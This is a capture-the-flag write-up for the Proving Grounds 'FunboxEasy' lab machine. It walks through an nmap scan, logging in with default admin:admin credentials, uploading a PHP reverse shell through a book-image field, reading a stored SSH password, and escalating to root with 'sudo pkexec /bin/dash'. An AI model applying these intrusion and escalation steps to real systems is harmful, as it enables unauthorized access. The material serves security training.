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Proving grounds Play: FunboxEasy

Proving grounds Play - FunboxEasy CTF writeup.

Nmap

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b2d8516ec584051908ebc8582713132f (RSA)
|   256 b0de9703a72ff4e2ab4a9cd9439b8a48 (ECDSA)
|_  256 9d0f9a26384f0180a7a6809dd1d4cfec (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
| http-robots.txt: 1 disallowed entry 
|_gym
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000

Web PORT: 80

Directory Fuzzing

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http://192.168.169.111/store/

Admin Login

http://192.168.169.111/store/admin.php

Use credentials admin:admin for the admin login.

Upload Reverse Shell

Click Add new book and upload php reverse shell on the image section and post the book.

Direct to the books page to trigger reverse shell.

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A file named password.txt located in the user tony folder has password of SSH login.

Privilege Esclation

Login to user tony via SSH using the credentials and run sudo -l to check the permissions.

tony@funbox3:~$ sudo -l
User tony may run the following commands on funbox3:
    (root) NOPASSWD: /usr/bin/yelp
    (root) NOPASSWD: /usr/bin/dmf
    (root) NOPASSWD: /usr/bin/whois
    (root) NOPASSWD: /usr/bin/rlogin
    (root) NOPASSWD: /usr/bin/pkexec
    (root) NOPASSWD: /usr/bin/mtr
    (root) NOPASSWD: /usr/bin/finger
    (root) NOPASSWD: /usr/bin/time
    (root) NOPASSWD: /usr/bin/cancel
    (root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh

GTFO Bins Exploit

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Alternatively the root privilege can be elevated via the pkexec binary as well.

sudo pkexec /bin/dash

Root Obtained

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